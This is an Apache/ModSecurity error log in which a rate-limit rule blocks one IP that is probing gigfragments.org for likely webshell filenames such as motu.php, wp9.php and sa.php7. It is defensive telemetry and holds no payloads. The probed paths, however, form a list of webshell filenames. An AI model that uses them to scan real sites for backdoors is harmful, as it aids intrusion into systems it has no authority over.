[Tue Apr 14 02:39:36.975507 2026] [:error] [pid 59915:tid 59981] [client 20.220.194.201:20435] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "ad04aIeTNdEemByf99hYiAAAAIo"]
[Tue Apr 14 02:39:37.782296 2026] [:error] [pid 59914:tid 59952] [client 20.220.194.201:26792] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "ad04aeq0YMmB3OWbbUljmAAAAEg"]
[Tue Apr 14 02:39:38.759820 2026] [:error] [pid 59915:tid 59979] [client 20.220.194.201:36107] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "ad04aoeTNdEemByf99hYigAAAIg"]
[Tue Apr 14 02:39:39.515842 2026] [:error] [pid 59913:tid 59940] [client 20.220.194.201:19937] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "ad04a65XvQ9C-gZtr2y9JgAAABc"]
[Tue Apr 14 02:39:40.548373 2026] [:error] [pid 59913:tid 59931] [client 20.220.194.201:14685] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "ad04bK5XvQ9C-gZtr2y9KQAAAA4"]
[Tue Apr 14 02:39:41.515011 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:3980] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "ad04bbBo7Bc8I7P_P---9wAAAMk"]
[Tue Apr 14 02:39:43.262036 2026] [:error] [pid 59913:tid 59941] [client 20.220.194.201:19939] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "ad04b65XvQ9C-gZtr2y9KwAAABg"]
[Tue Apr 14 02:39:44.094229 2026] [:error] [pid 60317:tid 60343] [client 20.220.194.201:20420] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "ad04cLBo7Bc8I7P_P---_AAAAMM"]
[Tue Apr 14 02:39:44.946052 2026] [:error] [pid 59914:tid 59952] [client 20.220.194.201:18825] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "ad04cOq0YMmB3OWbbUljnQAAAEg"]
[Tue Apr 14 02:39:46.365781 2026] [:error] [pid 59915:tid 59973] [client 20.220.194.201:36101] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "ad04coeTNdEemByf99hYjgAAAII"]
[Tue Apr 14 02:39:47.135685 2026] [:error] [pid 59915:tid 59989] [client 20.220.194.201:23538] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "ad04c4eTNdEemByf99hYkQAAAJI"]
[Tue Apr 14 02:39:48.072132 2026] [:error] [pid 59914:tid 59944] [client 20.220.194.201:20154] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "ad04dOq0YMmB3OWbbUljnwAAAEA"]
[Tue Apr 14 02:39:49.383928 2026] [:error] [pid 59913:tid 59927] [client 20.220.194.201:18868] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "ad04da5XvQ9C-gZtr2y9MgAAAAo"]
[Tue Apr 14 02:39:50.183763 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:19401] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ad04drBo7Bc8I7P_P--_AwAAANU"]
[Tue Apr 14 02:39:50.913147 2026] [:error] [pid 59913:tid 59939] [client 20.220.194.201:22259] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ad04dq5XvQ9C-gZtr2y9MwAAABY"]
[Tue Apr 14 02:39:51.676367 2026] [:error] [pid 59914:tid 59961] [client 20.220.194.201:3995] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ad04d-q0YMmB3OWbbUljowAAAFE"]
[Tue Apr 14 02:39:52.272964 2026] [:error] [pid 60317:tid 60358] [client 20.220.194.201:30047] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ad04eLBo7Bc8I7P_P--_CAAAANI"]
[Tue Apr 14 02:39:53.057883 2026] [:error] [pid 60317:tid 60344] [client 20.220.194.201:21392] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "ad04ebBo7Bc8I7P_P--_CQAAAMQ"]
[Tue Apr 14 02:39:53.727074 2026] [:error] [pid 60317:tid 60341] [client 20.220.194.201:3633] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "ad04ebBo7Bc8I7P_P--_CgAAAME"]
[Tue Apr 14 02:39:54.600154 2026] [:error] [pid 60317:tid 60353] [client 20.220.194.201:36495] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "ad04erBo7Bc8I7P_P--_DwAAAM0"]
[Tue Apr 14 02:39:55.428074 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:26799] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/vx.php"] [unique_id "ad04e7Bo7Bc8I7P_P--_EQAAANU"]
[Tue Apr 14 02:39:56.229474 2026] [:error] [pid 59914:tid 59948] [client 20.220.194.201:17841] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ad04fOq0YMmB3OWbbUljqQAAAEQ"]
[Tue Apr 14 02:39:57.202675 2026] [:error] [pid 59915:tid 59980] [client 20.220.194.201:26788] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ad04fYeTNdEemByf99hYnAAAAIk"]
[Tue Apr 14 02:39:57.843994 2026] [:error] [pid 60317:tid 60357] [client 20.220.194.201:3999] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ad04fbBo7Bc8I7P_P--_FQAAANE"]
[Tue Apr 14 02:39:58.477185 2026] [:error] [pid 59914:tid 59961] [client 20.220.194.201:34064] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "ad04fuq0YMmB3OWbbUljrQAAAFE"]
[Tue Apr 14 02:39:59.257140 2026] [:error] [pid 59915:tid 59982] [client 20.220.194.201:20155] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "ad04f4eTNdEemByf99hYnwAAAIs"]
[Tue Apr 14 02:40:00.271173 2026] [:error] [pid 59913:tid 59936] [client 20.220.194.201:36506] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "ad04gK5XvQ9C-gZtr2y9PQAAABM"]
[Tue Apr 14 02:40:01.472184 2026] [:error] [pid 59915:tid 59990] [client 20.220.194.201:13180] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "ad04gYeTNdEemByf99hYowAAAJM"]
[Tue Apr 14 02:40:03.024370 2026] [:error] [pid 59914:tid 59952] [client 20.220.194.201:18860] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "ad04g-q0YMmB3OWbbUljsAAAAEg"]
[Tue Apr 14 02:40:04.006081 2026] [:error] [pid 59915:tid 59991] [client 20.220.194.201:30079] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "ad04hIeTNdEemByf99hYqAAAAJQ"]
[Tue Apr 14 02:40:04.480066 2026] [:error] [pid 59915:tid 59992] [client 20.220.194.201:20428] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "ad04hIeTNdEemByf99hYqQAAAJU"]
[Tue Apr 14 02:40:05.583618 2026] [:error] [pid 59915:tid 59995] [client 20.220.194.201:23525] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "ad04hYeTNdEemByf99hYrAAAAJg"]
[Tue Apr 14 02:40:06.893317 2026] [:error] [pid 59913:tid 59931] [client 20.220.194.201:13130] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "ad04hq5XvQ9C-gZtr2y9RAAAAA4"]
[Tue Apr 14 02:40:07.602888 2026] [:error] [pid 59915:tid 59981] [client 20.220.194.201:20123] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad04h4eTNdEemByf99hYsQAAAIo"]
[Tue Apr 14 02:40:08.361469 2026] [:error] [pid 59915:tid 59986] [client 20.220.194.201:19933] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad04iIeTNdEemByf99hYswAAAI8"]
[Tue Apr 14 02:40:09.257179 2026] [:error] [pid 59915:tid 59975] [client 20.220.194.201:33842] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad04iYeTNdEemByf99hYtAAAAIQ"]
[Tue Apr 14 02:40:10.245872 2026] [:error] [pid 59913:tid 59940] [client 20.220.194.201:33825] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad04iq5XvQ9C-gZtr2y9SAAAABc"]
[Tue Apr 14 02:40:11.034881 2026] [:error] [pid 59915:tid 59990] [client 20.220.194.201:30066] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/ws49.php"] [unique_id "ad04i4eTNdEemByf99hYuQAAAJM"]
[Tue Apr 14 02:40:11.682804 2026] [:error] [pid 60317:tid 60346] [client 20.220.194.201:18878] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/ws49.php"] [unique_id "ad04i7Bo7Bc8I7P_P--_HgAAAMY"]
[Tue Apr 14 02:40:12.347702 2026] [:error] [pid 59915:tid 59981] [client 20.220.194.201:22270] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/ws49.php"] [unique_id "ad04jIeTNdEemByf99hYvAAAAIo"]
[Tue Apr 14 02:40:13.174187 2026] [:error] [pid 59915:tid 59976] [client 20.220.194.201:20121] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/ws49.php"] [unique_id "ad04jYeTNdEemByf99hYvgAAAIU"]
[Tue Apr 14 02:40:13.922968 2026] [:error] [pid 59914:tid 59965] [client 20.220.194.201:20478] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "ad04jeq0YMmB3OWbbUljugAAAFU"]
[Tue Apr 14 02:40:14.540424 2026] [:error] [pid 59915:tid 59972] [client 20.220.194.201:33129] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "ad04joeTNdEemByf99hYwQAAAIE"]
[Tue Apr 14 02:40:15.750009 2026] [:error] [pid 59914:tid 59959] [client 20.220.194.201:22243] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "ad04j-q0YMmB3OWbbUljwAAAAE8"]
[Tue Apr 14 02:40:16.312676 2026] [:error] [pid 59913:tid 59927] [client 20.220.194.201:33108] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "ad04kK5XvQ9C-gZtr2y9TwAAAAo"]
[Tue Apr 14 02:40:17.444540 2026] [:error] [pid 59915:tid 59978] [client 20.220.194.201:19153] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php7"] [unique_id "ad04kYeTNdEemByf99hYzwAAAIc"]
[Tue Apr 14 02:40:18.081454 2026] [:error] [pid 59913:tid 59933] [client 20.220.194.201:33106] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php7"] [unique_id "ad04kq5XvQ9C-gZtr2y9UgAAABA"]
[Tue Apr 14 02:40:18.949353 2026] [:error] [pid 59913:tid 59930] [client 20.220.194.201:17847] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php7"] [unique_id "ad04kq5XvQ9C-gZtr2y9UwAAAA0"]
[Tue Apr 14 02:40:19.722759 2026] [:error] [pid 59915:tid 59985] [client 20.220.194.201:3587] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php7"] [unique_id "ad04k4eTNdEemByf99hY1AAAAI4"]
[Tue Apr 14 02:40:20.582645 2026] [:error] [pid 59915:tid 59974] [client 20.220.194.201:36510] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "ad04lIeTNdEemByf99hY2AAAAIM"]
[Tue Apr 14 02:40:21.274190 2026] [:error] [pid 59915:tid 59981] [client 20.220.194.201:20136] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "ad04lYeTNdEemByf99hY2wAAAIo"]
[Tue Apr 14 02:40:22.179855 2026] [:error] [pid 59915:tid 59993] [client 20.220.194.201:17834] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "ad04loeTNdEemByf99hY3gAAAJY"]
[Tue Apr 14 02:40:23.217572 2026] [:error] [pid 60317:tid 60350] [client 20.220.194.201:34060] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "ad04l7Bo7Bc8I7P_P--_IQAAAMo"]
[Tue Apr 14 02:40:24.238426 2026] [:error] [pid 60317:tid 60363] [client 20.220.194.201:32789] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "ad04mLBo7Bc8I7P_P--_IgAAANc"]
[Tue Apr 14 02:40:25.051206 2026] [:error] [pid 59915:tid 59982] [client 20.220.194.201:21429] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "ad04mYeTNdEemByf99hY4QAAAIs"]
[Tue Apr 14 02:40:25.713839 2026] [:error] [pid 59913:tid 59939] [client 20.220.194.201:22271] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "ad04ma5XvQ9C-gZtr2y9VwAAABY"]
[Tue Apr 14 02:40:26.940308 2026] [:error] [pid 59915:tid 59995] [client 20.220.194.201:3614] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "ad04moeTNdEemByf99hY5gAAAJg"]
